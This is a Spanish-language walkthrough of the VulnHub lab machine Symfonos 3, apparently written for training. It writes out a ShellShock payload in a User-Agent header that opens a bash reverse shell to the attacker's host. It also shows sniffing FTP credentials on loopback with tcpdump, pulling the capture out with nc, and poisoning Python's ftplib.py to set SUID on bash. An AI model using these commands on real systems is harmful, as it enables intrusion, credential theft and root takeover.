Symfonos 3
La IP puede variar: en algún momento hubo que reiniciar el entorno, así que en las capturas y comandos podría aparecer una dirección distinta. Sustitúyela por la de tu instancia.
TL;DR. Ungobuster --add-slashdestapa un/cgi-bin/con un endpointunderworldque devuelve la salida de un comando del sistema: ShellShock. Inyectando el payload en elUser-Agentlogramos RCE comocerberus. Ese usuario está en el grupopcap, así que con pspy vemos que root ejecuta un cliente FTP interno y contcpdumpcapturamos sus credenciales en claro:hades:PTpZTfU4vxgzvRBE. Ya comohades, el grupogodspuede escribir en las librerías depython2.7; ese cliente FTP importaftplib, así que inyectamos código en la librería y el cron de root nos dabashSUID.
Reconocimiento
Localizar la máquina en la red local
Symfonos 3 es una máquina de VulnHub que se despliega en la red local, así que lo primero no es escanear puertos sino averiguar qué IP le ha tocado. arp-scan lanza peticiones ARP a todo el segmento y devuelve las MAC que responden, con el fabricante resuelto desde el fichero de OUIs:
sudo arp-scan -I eth0 --localnet --ignoredups --macfile=/usr/share/arp-scan/ieee-oui.txt
Interface: eth0, type: EN10MB, MAC: 00:0c:29:a0:4d:d4, IPv4: 192.168.1.80
Starting arp-scan 1.10.0 with 256 hosts (https://github.com/royhills/arp-scan)
192.168.1.1 2c:70:4f:14:4e:c7 (Unknown)
192.168.1.129 b0:a4:60:cf:91:26 Intel Corporate
192.168.1.155 00:0c:29:94:6b:81 VMware, Inc.
192.168.1.138 f4:03:2a:28:e7:36 Amazon Technologies Inc.
192.168.1.142 98:01:a7:8a:fa:55 Apple, Inc.
192.168.1.128 74:e2:0c:8f:1e:6f Amazon Technologies Inc.
192.168.1.136 a4:77:33:d7:4d:4c Google, Inc.
192.168.1.135 56:bc:f4:cd:a2:af (Unknown: locally administered)
12 packets received by filter, 0 packets dropped by kernel
Ending arp-scan 1.10.0: 256 hosts scanned in 2.503 seconds (102.28 hosts/sec). 8 respondedEl resto de direcciones son dispositivos reales de la red (un router, un portátil, un móvil, altavoces), pero 192.168.1.155 responde con una MAC de VMware, Inc.: es una máquina virtual, y la única del segmento que no reconocemos. Esa es la víctima. Nuestra propia IP, la que usaremos en todas las reverse shells de aquí en adelante, es 192.168.1.80.
TTL: qué sistema operativo tenemos delante
Un ping suelto sirve para algo más que confirmar que la máquina está viva. El campo TTL de la respuesta ICMP arranca en un valor distinto según el sistema operativo (64 en Linux/Unix, 128 en Windows) y se decrementa en uno por cada salto de red:
ping -c 1 192.168.1.155
PING 192.168.1.155 (192.168.1.155) 56(84) bytes of data.
64 bytes from 192.168.1.155: icmp_seq=1 ttl=64 time=0.466 ms
--- 192.168.1.155 ping statistics ---
1 packets transmitted, 1 received, 0% packet loss, time 0ms
rtt min/avg/max/mdev = 0.466/0.466/0.466/0.000 msttl=64 sin decrementar apunta a Linux y a cero saltos intermedios (estamos en el mismo segmento, coherente con el arp-scan). Es un indicio, no una prueba: el TTL se puede falsear y los routers lo modifican, pero orienta la enumeración desde el primer minuto.
Escaneo inicial
El escaneo de puertos completo se lanza con una función de .zshrc que pide la IP y recorre los 65535 puertos TCP con -sS (SYN scan) y --min-rate 5000:
sudo nmap -sS -n -Pn -p- --min-rate 5000 -vvv --open 192.168.1.155 -oG scan
Starting Nmap 7.95 ( https://nmap.org ) at 2025-02-15 14:55 CET
Discovered open port 21/tcp on 192.168.1.155
Discovered open port 22/tcp on 192.168.1.155
Discovered open port 80/tcp on 192.168.1.155
Completed SYN Stealth Scan at 14:55, 6.58s elapsed (65535 total ports)
Nmap scan report for 192.168.1.155
Host is up, received arp-response (0.0017s latency).
Not shown: 65532 closed ports (reset)
PORT STATE SERVICE REASON
21/tcp open ftp syn-ack ttl 64
22/tcp open ssh syn-ack ttl 64
80/tcp open http syn-ack ttl 64
MAC Address: 00:0C:29:94:6B:81 (VMware)
Nmap done: 1 IP address (1 host up) scanned in 6.83 secondsSolo tres puertos abiertos de 65535, y los tres con ttl 64, lo que confirma el TTL del ping. Una segunda función de .zshrc extrae los puertos del fichero grepeable y los deja en el portapapeles, que es de donde salen los 21,22,80 del siguiente comando:
extractPorts scan
Extracting information...
IP Address: 192.168.1.155
Open ports: 21,22,80
Ports copied to clipboardCon la lista de puertos, el escaneo dirigido de versiones y scripts por defecto:
nmap -p21,22,80 -sCV 192.168.1.155
PORT STATE SERVICE VERSION
21/tcp open ftp ProFTPD 1.3.5b
22/tcp open ssh OpenSSH 7.4p1 Debian 10+deb9u6 (protocol 2.0)
| ssh-hostkey:
| 2048 cd:64:72:76:80:51:7b:a8:c7:fd:b2:66:fa:b6:98:0c (RSA)
| 256 74:e5:9a:5a:4c:16:90:ca:d8:f7:c7:78:e7:5a:86:81 (ECDSA)
|_ 256 3c:e4:0b:b9:db:bf:01:8a:b7:9c:42:bc:cb:1e:41:6b (ED25519)
80/tcp open http Apache httpd 2.4.25 ((Debian))
|_http-title: Site doesn't have a title (text/html).
|_http-server-header: Apache/2.4.25 (Debian)
MAC Address: 00:0C:29:94:6B:81 (VMware)
Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernelTres datos que conviene anotar aunque todavía no sepamos si sirven:
- ProFTPD 1.3.5b en el 21. Esa versión arrastra el fallo
mod_copy(SITE CPFR/SITE CPTO) que permite copiar ficheros sin autenticarse, así que queda como vector de reserva. - OpenSSH 7.4p1 en el 22, de 2016. Las ramas antiguas de OpenSSH son propensas a enumeración de usuarios, útil si más adelante conseguimos una lista de nombres que validar.
- Apache 2.4.25 sobre Debian 9 en el 80, y
http-titlevacío: la portada ni siquiera tiene título, lo que ya sugiere que no es una aplicación sino algo mucho más simple.
Ninguno de los dos primeros acaba siendo el camino, pero se anotan: la versión de FTP volverá a aparecer más adelante, aunque por una vía que no tiene nada que ver con explotarla.
Puerto 80: qué hay en la web
Antes de fuzzear rutas, identificamos la pila tecnológica:
whatweb 192.168.1.155
http://192.168.1.155 [200 OK] Apache[2.4.25], Country[RESERVED][ZZ], HTTPServer[Debian Linux][Apache/2.4.25 (Debian)], IP[192.168.1.155]Nada de CMS, ni framework, ni lenguaje de servidor detectado: solo Apache. Wappalyzer en el navegador confirma exactamente lo mismo (Apache 2.4.25 sobre Debian, sin una sola tecnología más), y la página en sí es únicamente una ilustración a pantalla completa de un Cerbero:

Cuando una web no tiene tecnología que enumerar, el siguiente sitio donde mirar es el código fuente:

<html>
<head>
<style>
html,body{
margin:0;
height:100%;
}
img{
display:block;
width:100%; height:100%;
object-fit: cover;
}
</style>
</head>
<body>
<img src="image.jpg">
<!-- Can you bust the underworld? -->
</body>
</html>Veintidós líneas de HTML, una imagen y un comentario: Can you bust the underworld? («¿Puedes reventar el inframundo?»). No es decoración temática: bust en el argot de estas máquinas equivale a brute force de directorios, y underworld es una palabra concreta que conviene tener a mano cuando empiecen a aparecer rutas.
Fuzzing web: dos herramientas y tres callejones sin salida
Empezamos con dirsearch y gobuster sobre la raíz:
dirsearch -u http://192.168.1.155/ --exclude-status=403,404
gobuster dir -u http://192.168.1.155 -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -t 100
_|. _ _ _ _ _ _|_ v0.4.3
(_||| _) (/_(_|| (_| )
Extensions: php, aspx, jsp, html, js | HTTP method: GET | Threads: 25 | Wordlist size: 11460
Target: http://192.168.1.155/
[15:02:37] Starting:
Task Completed===============================================================
Gobuster v3.6
===============================================================
[+] Url: http://192.168.1.155
[+] Method: GET
[+] Threads: 100
[+] Wordlist: /home/krmena/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt
[+] Negative Status codes: 404
[+] User Agent: gobuster/3.6
[+] Timeout: 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/gate (Status: 301) [Size: 313] [--> http://192.168.1.155/gate/]
/server-status (Status: 403) [Size: 278]
Progress: 220560 / 220561 (100.00%)
===============================================================
Finished
===============================================================Merece la pena detenerse en el contraste: dirsearch no encuentra absolutamente nada (termina con un Task Completed limpio, sin una sola línea de resultado) mientras gobuster sí saca /gate. No es que una herramienta sea mejor: es que su diccionario por defecto (11460 palabras) no contiene gate, mientras el directory-list-2.3-medium de SecLists (220561) sí. Cuando un fuzzing sale vacío, lo primero que hay que cuestionar es el diccionario, no la existencia de rutas.
Enumeramos entonces dentro de /gate:
gobuster dir -u http://192.168.1.155/gate -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -t 100
[+] Url: http://192.168.1.155/gate
[+] Wordlist: /home/krmena/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt
===============================================================
/cerberus (Status: 301) [Size: 322] [--> http://192.168.1.155/gate/cerberus/]
Progress: 220560 / 220561 (100.00%)
===============================================================
FinishedY una tercera vuelta dentro de /gate/cerberus/, esta vez con el diccionario big (1,27 millones de palabras) por si la ruta siguiente fuese algo poco común:
gobuster dir -u http://192.168.1.155/gate/cerberus/ -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-big.txt -t 100
[+] Url: http://192.168.1.155/gate/cerberus/
[+] Wordlist: /home/krmena/SecLists/Discovery/Web-Content/directory-list-2.3-big.txt
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
Progress: 1273833 / 1273834 (100.00%)
===============================================================
FinishedUn millón y cuarto de peticiones, cero resultados. La rama /gate/cerberus/ se acaba ahí.
Antes de descartarla del todo, miramos qué contienen esas dos páginas y su código fuente, porque el comentario de la portada demostró que el HTML puede llevar información que la web no muestra:




Las dos páginas son clones exactos de la portada (el mismo bloque de CSS, el mismo <img src="image.jpg">) y ninguna de las dos lleva comentario. Solo cambia el JPG. Es decir: /gate y /gate/cerberus son decorado temático, un señuelo de tres niveles de profundidad. Se anotan como callejón sin salida y se vuelve atrás.
El truco del --add-slash
Con la rama temática agotada, la pregunta es si el fuzzing de la raíz se dejó algo. Repetimos los tres escaneos, pero añadiendo --add-slash, que pide cada palabra del diccionario con barra final (/palabra/ en lugar de /palabra):
gobuster dir -u http://192.168.1.155/gate/cerberus/ -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -t 100 --add-slash
gobuster dir -u http://192.168.1.155/gate/ -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -t 100 --add-slash
gobuster dir -u http://192.168.1.155 -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -t 100 --add-slash
[+] Url: http://192.168.1.155/gate/cerberus/ [Add Slash: true]
Progress: 220563 / 220564 (100.00%) -> (sin resultados)
[+] Url: http://192.168.1.155/gate/ [Add Slash: true]
/cerberus/ (Status: 200) [Size: 202]
Progress: 220563 / 220564 (100.00%)
[+] Url: http://192.168.1.155 [Add Slash: true]
/cgi-bin/ (Status: 403) [Size: 278]
/icons/ (Status: 403) [Size: 278]
/gate/ (Status: 200) [Size: 202]
/server-status/ (Status: 403) [Size: 278]
Progress: 220563 / 220564 (100.00%)Ahí está lo que faltaba: /cgi-bin/. Sin la barra final, Apache respondía a /cgi-bin con un 404 (no existe ningún fichero llamado así), y el 404 es precisamente el código que gobuster filtra por defecto. Con la barra, el servidor lo trata como directorio y devuelve 403 Forbidden, que sí es un hallazgo: 403 significa «existe pero no te dejo listarlo». Ese matiz de un solo carácter es lo que separaba esta máquina de quedarse atascada.
Y un /cgi-bin/ es una señal muy concreta: es el directorio donde Apache ejecuta scripts en lugar de servirlos. Si esos scripts están escritos en Bash, la caja huele a ShellShock antes de haber probado nada.
gobuster dir -u http://192.168.1.155/cgi-bin/ -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -t 100
[+] Url: http://192.168.1.155/cgi-bin/
[+] Wordlist: /home/krmena/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/underworld (Status: 200) [Size: 62]/cgi-bin/underworld, exactamente la palabra que anunciaba el comentario de la portada, y con respuesta 200 de 62 bytes. El señuelo de /gate/cerberus era temático; la pista real siempre estuvo en el HTML.
Un endpoint que devuelve la salida de un comando
Visitamos la ruta:

10:30:32 up 1:49, 0 users, load average: 0.00, 4.56, 21.50No es una página web: es la salida literal de uptime. Y al recargar cambia:

10:32:10 up 1:50, 0 users, load average: 0.00, 3.32, 19.40Un minuto y cuarenta de diferencia entre las dos cargas, y las medias de carga bajando. Confirmado: cada petición ejecuta el comando en el servidor y devuelve su stdout. Un script CGI que invoca un binario del sistema, en Apache sobre Debian 9, es el escenario de manual de ShellShock.
Shell como cerberus
ShellShock en /cgi-bin/underworld
Cuando Apache ejecuta un script CGI, le pasa las cabeceras de la petición HTTP como variables de entorno (el User-Agent llega al script como HTTP_USER_AGENT). Si el script es Bash, ese Bash hereda las variables antes de ejecutar una sola línea propia.
ShellShock (CVE-2014-6271) explota cómo Bash importaba funciones desde variables de entorno. El payload tiene esta forma por partes:
()declara una función.{ :; }es su cuerpo, con:como no-operación: la función no hace nada.;cierra la definición, y todo lo que va después se ejecuta inmediatamente cuando Bash procesa la variable, antes de correr el script. Ese es el fallo: Bash evaluaba el texto que seguía al cierre en lugar de detenerse ahí.
El echo extra sirve para emitir la línea en blanco que separa cabeceras de cuerpo en HTTP; sin ella el servidor podría descartar la salida como cabecera malformada.
curl http://192.168.1.155/cgi-bin/underworld -H "User-Agent: () { :; }; echo; /usr/bin/id"
uid=1001(cerberus) gid=1001(cerberus) groups=1001(cerberus),33(www-data),1003(pcap)Ejecución de comandos confirmada, y la salida ya trae dos regalos: no corremos como www-data sino como cerberus, y ese usuario pertenece a 1003(pcap), el grupo que permite capturar tráfico de red. Guardamos el dato, porque decidirá toda la escalada.
Con RCE, el siguiente paso es cambiar id por una reverse shell. Primero el listener en la atacante:
nc -nlvp 4444Y desde otra terminal, el mismo payload con una shell de Bash contra nuestro 192.168.1.80:4444:
curl http://192.168.1.155/cgi-bin/underworld -H "User-Agent: () { :; }; /bin/bash -c 'bash -i >& /dev/tcp/192.168.1.80/4444 0>&1'"
(root@kali)-[/home/krmena/vulnhub/symfonos3/exploits]
# curl http://192.168.1.155/cgi-bin/underworld -H "User-Agent: () { :; }; /bin/bash -c 'bash -i >& /dev/tcp/192.168.1.80/4444 0>&1'"El curl se queda colgado sin devolver el prompt, que es justo lo que queremos: la conexión sigue viva porque la shell está al otro lado. En el listener:

listening on [any] 4444 ...
connect to [192.168.1.80] from (UNKNOWN) [192.168.1.155] 44984
bash: no job control in this shell
cerberus@symfonos3:/usr/lib/cgi-bin$ id
uid=1001(cerberus) gid=1001(cerberus) groups=1001(cerberus),33(www-data),1003(pcap)
cerberus@symfonos3:/usr/lib/cgi-bin$ ls
underworldLa shell aterriza en /usr/lib/cgi-bin, el directorio de trabajo del script CGI.
Tratamiento de la TTY
La shell de nc no tiene terminal asociada: no hay historial, ni autocompletado, ni Ctrl+C sin matar la conexión, y cualquier programa interactivo (como el nano que necesitaremos al final) se rompe. El tratamiento estándar:
script /dev/null -c bash
# Ctrl+Z para suspender
stty raw -echo; fg
export TERM=xterm SHELL=bash
stty rows 49 cols 211
reset xterm
cerberus@symfonos3:/usr/lib/cgi-bin$ script /dev/null -c bash
Script started, file is /dev/null
cerberus@symfonos3:/usr/lib/cgi-bin$ ^Z
zsh: suspended nc -nlvp 4444
┌──(krmena㉿kali)-[~/vulnhub/symfonos3]
└─$ stty raw -echo; fg
[1] + continued nc -nlvp 4444
cerberus@symfonos3:/usr/lib/cgi-bin$ export TERM=xterm SHELL=bash
cerberus@symfonos3:/usr/lib/cgi-bin$ stty rows 49 cols 211
cerberus@symfonos3:/usr/lib/cgi-bin$ reset xtermCon la TTY tratada, un vistazo al script que nos ha dado la entrada:
alias ls="ls -la"
ls
total 12
drwxr-xr-x 2 root root 4096 Jul 20 2019 .
drwxr-xr-x 52 root root 4096 Apr 6 2020 ..
-rwxr-xr-x 1 root root 63 Jul 20 2019 underworld63 bytes: el script entero es poco más que una línea de Bash llamando a uptime. Coincide con los 62 bytes que reportaba gobuster para la respuesta HTTP, y con el hecho de que sea propiedad de root pero se ejecute como cerberus.
Acceso como hades
pspy: un cliente FTP que ejecuta root
Con shell de usuario sin privilegios, la pregunta es qué corre en la máquina que nosotros no vemos. pspy resuelve eso: monitoriza la tabla de procesos sin necesitar root, así que capta tareas de cron y procesos efímeros que un ps puntual se pierde. Lo descargamos de su repositorio oficial:

De los cuatro binarios, elegimos pspy64 (2,96 MB) porque la víctima es de 64 bits; las variantes s son las compiladas estáticamente y más pequeñas. Lo servimos desde la atacante:
python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
192.168.1.155 - - [15/Feb/2025 19:28:25] "GET /pspy64 HTTP/1.1" 200 -Y lo traemos a la víctima, a /tmp porque es escribible por cualquiera:
cd /tmp
wget http://192.168.1.80/pspy64
chmod +x pspy64
--2025-02-15 12:28:25-- http://192.168.1.80/pspy64
Connecting to 192.168.1.80:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 3104768 (3.0M) [application/octet-stream]
Saving to: 'pspy64'
pspy64 100%[===================>] 2.96M 60.2MB/s in 0.05s
2025-02-15 12:28:25 (60.2 MB/s) - 'pspy64' saved [3104768/3104768]Lo dejamos corriendo un par de minutos:
./pspy64
2025/02/15 12:30:17 CMD: UID=0 PID=2 |
2025/02/15 12:30:17 CMD: UID=0 PID=1 | /sbin/init
2025/02/15 12:31:01 CMD: UID=0 PID=51633 | /usr/sbin/CRON -f
2025/02/15 12:31:01 CMD: UID=0 PID=51635 | /bin/sh -c /usr/bin/curl --silent -I 127.0.0.1 > /opt/ftpclient/statuscheck.txt
2025/02/15 12:32:01 CMD: UID=0 PID=51637 | /usr/sbin/cron -f
2025/02/15 12:32:01 CMD: UID=0 PID=51641 | /bin/sh -c /usr/bin/curl --silent -I 127.0.0.1 > /opt/ftpclient/statuscheck.txt
2025/02/15 12:32:01 CMD: UID=0 PID=51640 | /bin/sh -c /usr/bin/python2.7 /opt/ftpclient/ftpclient.py
2025/02/15 12:32:01 CMD: UID=1000 PID=51642 | proftpd: (accepting connections)
2025/02/15 12:32:02 CMD: UID=105 PID=51644 | /usr/sbin/sendmail -i -FCronDaemon -B8BITMIME -oem root
2025/02/15 12:32:02 CMD: UID=1000 PID=51645 | /usr/sbin/exim4 -Mc 1tjMxO-000DQx-0jCada minuto, root (UID=0) lanza dos tareas: un curl a 127.0.0.1 que guarda la cabecera en statuscheck.txt, y python2.7 /opt/ftpclient/ftpclient.py. Un cliente FTP que corre como root significa que alguien se está autenticando contra el ProFTPD local. Y FTP es un protocolo en claro: la contraseña viaja tal cual en un comando PASS.
Aquí encaja el dato que guardamos del primer id: cerberus pertenece a pcap, el grupo que concede a tcpdump los permisos de captura sin ser root. Tenemos el tráfico y tenemos el sniffer.
Captura de credenciales con tcpdump
El cliente FTP se conecta a 127.0.0.1, así que el tráfico no sale por eth0: hay que escuchar en la interfaz de loopback. Dejamos tcpdump corriendo hasta que salte el cron del minuto siguiente y cortamos con Ctrl+C:
tcpdump -i lo -w captura.cap -v
tcpdump: listening on lo, link-type EN10MB (Ethernet), capture size 262144 bytes
^C25 packets captured
50 packets received by filter
0 packets dropped by kernel25 paquetes es exactamente lo que ocupa una sesión FTP corta (saludo, USER, PASS, CWD, STOR, QUIT). Sacamos la captura a la atacante con un nc a pelo, redirigiendo el fichero por el socket. El receptor se levanta primero:
nc -nlvp 443 > Captura.capY desde la víctima:
nc 192.168.1.80 443 < captura.cap
cerberus@symfonos3:/tmp$ nc 192.168.1.80 443 < captura.cap
cerberus@symfonos3:/tmp$La transferencia devuelve el prompt sin decir nada, que es el comportamiento normal de nc al terminar de volcar el fichero. En la atacante, tshark filtra el disector ftp sobre la captura:
tshark -r Captura.cap -Y "ftp" 2>/dev/null
listening on [any] 443 ...
connect to [192.168.1.80] from (UNKNOWN) [192.168.1.155] 60100
^C
14 0.021265 127.0.0.1 -> 127.0.0.1 FTP 121 Response: 220 ProFTPD 1.3.5b Server (Debian) [::ffff:127.0.0.1]
16 0.021352 127.0.0.1 -> 127.0.0.1 FTP 78 Request: USER hades
18 0.023680 127.0.0.1 -> 127.0.0.1 FTP 99 Response: 331 Password required for hades
19 0.023732 127.0.0.1 -> 127.0.0.1 FTP 89 Request: PASS PTpZTfU4vxgzvRBE
20 0.035633 127.0.0.1 -> 127.0.0.1 FTP 92 Response: 230 User hades logged in
21 0.035702 127.0.0.1 -> 127.0.0.1 FTP 81 Request: CWD /srv/ftp/
22 0.035870 127.0.0.1 -> 127.0.0.1 FTP 94 Response: 250 CWD command successfulLa sesión completa en claro, incluido el 230 User hades logged in que confirma que la autenticación funciona. Credenciales: hades:PTpZTfU4vxgzvRBE. Aquí reaparece el ProFTPD 1.3.5b del nmap inicial, pero no como vulnerabilidad a explotar sino como el servicio que nos regala una contraseña.
Como es habitual, la contraseña de un servicio suele valer también a nivel de sistema:
su hades
id
sudo -l
Password:
hades@symfonos3:/tmp$ id
uid=1000(hades) gid=1000(hades) groups=1000(hades),1002(gods)
hades@symfonos3:/tmp$ sudo -l
bash: sudo: command not foundDos cosas. La primera: sudo ni siquiera está instalado en la máquina, así que el vector habitual de escalada queda descartado de entrada, no por falta de permisos sino por falta de binario. La segunda, y la que importa: hades pertenece a 1002(gods), un grupo personalizado que no viene con ninguna distribución. Un grupo inventado por el creador de la máquina siempre significa que hay algo asignado a él.
Escalada a root
Qué posee el grupo gods
Buscamos ficheros que pertenezcan a gods y sobre los que podamos escribir:
find / -group gods -type f -writable 2>/dev/null
/usr/lib/python2.7/numbers.py
/usr/lib/python2.7/mailbox.py
/usr/lib/python2.7/plistlib.pyc
/usr/lib/python2.7/pydoc.pyc
/usr/lib/python2.7/SimpleHTTPServer.py
/usr/lib/python2.7/textwrap.py
/usr/lib/python2.7/wave.pyc
/usr/lib/python2.7/tokenize.pyc
/usr/lib/python2.7/functools.pyc
/usr/lib/python2.7/colorsys.py
/usr/lib/python2.7/zipfile.py
/usr/lib/python2.7/asynchat.pyc
...La librería estándar entera de python2.7 es escribible por gods. Eso, por sí solo, no hace nada: hay que encontrar qué módulo importa un proceso privilegiado. Y ya lo sabemos por el pspy: root ejecuta cada minuto un cliente FTP en Python. Filtramos:
find / -group gods -type f -writable 2>/dev/null | grep ftp
/usr/lib/python2.7/ftplib.pyc
/usr/lib/python2.7/ftplib.pyftplib.py es escribible. Pero eso sigue siendo una suposición hasta que veamos que el script de root la importa de verdad, así que lo comprobamos en lugar de darlo por hecho:
cat /opt/ftpclient/ftpclient.py
import ftplib
ftp = ftplib.FTP('127.0.0.1')
ftp.login(user='hades', passwd='PTpZTfU4vxgzvRBE')
ftp.cwd('/srv/ftp/')
def upload():
filename = '/opt/client/statuscheck.txt'
ftp.storbinary('STOR '+filename, open(filename, 'rb'))
ftp.quit()
upload()Confirmado en la primera línea: import ftplib. De paso, el script explica el resto de piezas del puzle: es él quien genera el tráfico FTP a 127.0.0.1 que capturamos, lleva las mismas credenciales que sacamos del pcap (podríamos haberlas leído aquí, pero no teníamos acceso a hades hasta obtenerlas) y sube el statuscheck.txt que produce el otro cron con el curl.
Secuestro de la librería ftplib
Tenemos las tres condiciones de un secuestro de librería: un proceso privilegiado que importa un módulo, permiso de escritura sobre ese módulo, y ejecución periódica que nos ahorra tener que provocarla. Editamos ftplib.py y colocamos el payload arriba del todo, antes del código original, para que se ejecute en cuanto Python interprete el fichero:
nano /usr/lib/python2.7/ftplib.py
"""
python ftplib.py -d localhost -l -p -l
"""
#
# Changes and improvements suggested by Steve Majewski.
# Modified by Jack to work on the mac.
# Modified by Siebren to support docstrings and PASV.
# Modified by Phil Schwartz to add storbinary and storlines callbacks.
# Modified by Giampaolo Rodola' to add TLS support.
#
import os
import sys
os.system("chmod u+s /bin/bash")
# Import SOCKS module if it exists, else standard socket module socket
try:El payload elegido es chmod u+s /bin/bash: en vez de una reverse shell (que dependería de tener un listener vivo justo en el minuto correcto), pone el bit SUID a /bin/bash. Es persistente, no hace ruido de red y se puede usar cuando queramos.
Ahora solo queda esperar al siguiente ciclo del cron. watch repite el ls cada dos segundos para ver el cambio en el momento en que ocurra:
watch ls -l /bin/bash
Every 2.0s: ls -l /bin/bash
-rwsr-xr-x 1 root root 975488 Dec 29 2012 /bin/bashLa s en -rw**s**r-xr-x (donde antes había una x) confirma que el cron de root ha importado nuestro ftplib.py envenenado y ha ejecutado el chmod. Falta un detalle imprescindible: hay que lanzar Bash con -p, porque sin esa opción Bash detecta que el UID real y el efectivo no coinciden y renuncia voluntariamente al privilegio, dejándonos una shell normal.
bash -p
id
cd /root/
cat proof.txt
hades@symfonos3:/tmp$ bash -p
bash-4.2# id
uid=1000(hades) gid=1000(hades) euid=0(root) groups=1000(hades),1002(gods)
bash-4.2# ls
captura.cap pspy64
bash-4.2# cd /root/
bash-4.2# ls
proof.txt
bash-4.2# cat proof.txt
Congrats on rooting symfonos:3!
Contact me via Twitter @zayotic to give feedback!El id muestra la firma exacta de un SUID: el UID real sigue siendo 1000(hades) pero el euid=0(root) es el que decide los permisos. Caja rooteada.
Cadena de ataque
arp-scan -> 192.168.1.155 (VMware) -> nmap -p- -> 21/22/80
└─> comentario HTML "Can you bust the underworld?"
└─> gobuster --add-slash -> /cgi-bin/ (403, invisible sin la barra)
└─> /cgi-bin/underworld (ejecuta uptime)
└─> ShellShock en User-Agent -> RCE como cerberus (grupo pcap)
└─> pspy -> cron de root: python2.7 ftpclient.py
└─> tcpdump -i lo + tshark -> hades:PTpZTfU4vxgzvRBE
└─> grupo gods -> ftplib.py escribible
└─> inyección en la librería -> cron root
└─> bash SUID -> bash -p -> rootLecciones aprendidas
--add-slashcambia lo que se ve./cgi-bindevolvía 404 (quegobusterfiltra) y/cgi-bin/devuelve 403, que sí es un hallazgo. Un solo carácter separaba la máquina de quedarse atascada.- Un fuzzing vacío suele ser culpa del diccionario.
dirsearchno encontró nada con sus 11460 palabras mientrasgobustersacó/gatecon 220561; antes de concluir que no hay rutas, cambia la lista. - Los callejones sin salida también se documentan.
/gatey/gate/cerberuseran clones de la portada, y un escaneo de 1,27 millones de peticiones dentro de la segunda no devolvió nada. Descartar una rama es parte del trabajo. - Un
/cgi-binque ejecuta comandos es ShellShock hasta demostrar lo contrario. El vector es meter el payload en una cabecera que el CGI vuelque al entorno como variable. - El grupo
pcapconvierte a un usuario en un sniffer. Con procesos internos que autentican en claro (FTP contra loopback),tcpdumpenlomástsharkbastan para robar credenciales. - Un grupo que no existe en ninguna distribución es una pista.
godsno es estándar: si el creador lo inventó, hay algo asignado a él, yfind -grouplo encuentra en un comando. - Poder escribir en una librería de Python es RCE diferido. Si un proceso privilegiado la importa, el código inyectado corre con sus privilegios; el
cronsolo decide cuándo. - Tras un
chmod u+s, la shell se lanza con-p. Sin esa opción Bash descarta eleuidprivilegiado y el esfuerzo no sirve de nada.